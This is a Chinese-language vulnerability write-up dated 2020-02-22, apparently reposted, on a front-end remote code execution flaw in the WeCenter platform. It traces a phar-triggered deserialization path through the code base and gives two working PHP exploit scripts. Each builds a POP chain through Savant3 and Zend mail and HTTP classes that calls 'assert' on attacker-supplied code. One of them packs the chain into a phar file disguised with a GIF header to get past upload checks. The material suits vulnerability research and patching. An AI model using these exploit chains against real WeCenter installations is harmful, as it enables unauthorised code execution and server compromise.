
正文
WeCenter (最新版) 前台RCE漏洞 (2020-02-22)
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
漏洞通过phar触发反序列化漏洞。
触发点:./models/account.php 中的 associate_remote_avatar 方法:
搜索全局调用了该方法的地方:
./app/account/ajax.php 路径中的 synch_img_action 方法:
从数据表 users_weixin中取出数据,想要控制此处,就必须要控制这个表。
再次全局搜索 users_weixin 找insert,update等操作。
./models/openid/weixin/weixin.php
再搜索调用 bind_account 方法:
./app/m/weixin.php 中的 binding_action 方法:
触发rce 的pop链:
./system/Savant3.php 中的 __toString 方法:
先查看isError方法:
只要传入的参数 $obj instanceof Savant3_Error 即可返回true。
再次跟进上面的 fetch 方法:
再次回到最初的 getoutput 方法:
跟进escape方法:
再次寻找一处能触发__toString 的链:
./system/Zend/Mail/Transport/Smtp.php 中的 析构方法:
exp:
<?php class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
} class Zend_Mail_Transport_Abstract{}
class Zend_Mail_Transport_Smtp extends Zend_Mail_Transport_Abstract
{
protected $_connection;
public function __construct(){
$this->_connection = new Zend_Mail_Protocol_Smtp;
}
}
class Zend_Mail_Protocol_Abstract{}
class Zend_Mail_Protocol_Smtp extends Zend_Mail_Protocol_Abstract
{
protected $_sess = true;
protected $_host;
public function __construct(){
$this->_host = new Savant3;
}
} $obj = new Zend_Mail_Transport_Smtp;
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub 增加gif文件头
$phar->setMetadata($obj); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
还有一条能触发__toString 的pop链:
./system/Zend/Http/Response/Stream.php 中的析构函数:
unlink,file_exists等函数都是可以触发__toString 的。
exp:
<?php
class Savant3
{
protected $__config = array(
'error_text' => "phpinfo()",
'exceptions' => false,
'autoload' => false,
'template' => '1',
'escape' => array('assert'),
);
}
class Zend_Http_Response{}
class Zend_Http_Response_Stream extends Zend_Http_Response
{
protected $_cleanup = 1;
protected $stream_name;
public function __construct()
{
$this->stream_name = new Savant3;
}
}
即可直接造成rce漏洞,因为php >= 7 assert不再是函数,导致不能回调了。
文章参考:
https://xz.aliyun.com/t/7077
http://www.yulegeyu.com/2020/01/22/WECENTER-%E5%8F%8D%E5%BA%8F%E5%88%97%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E5%88%A9%E7%94%A8%E9%93%BE/







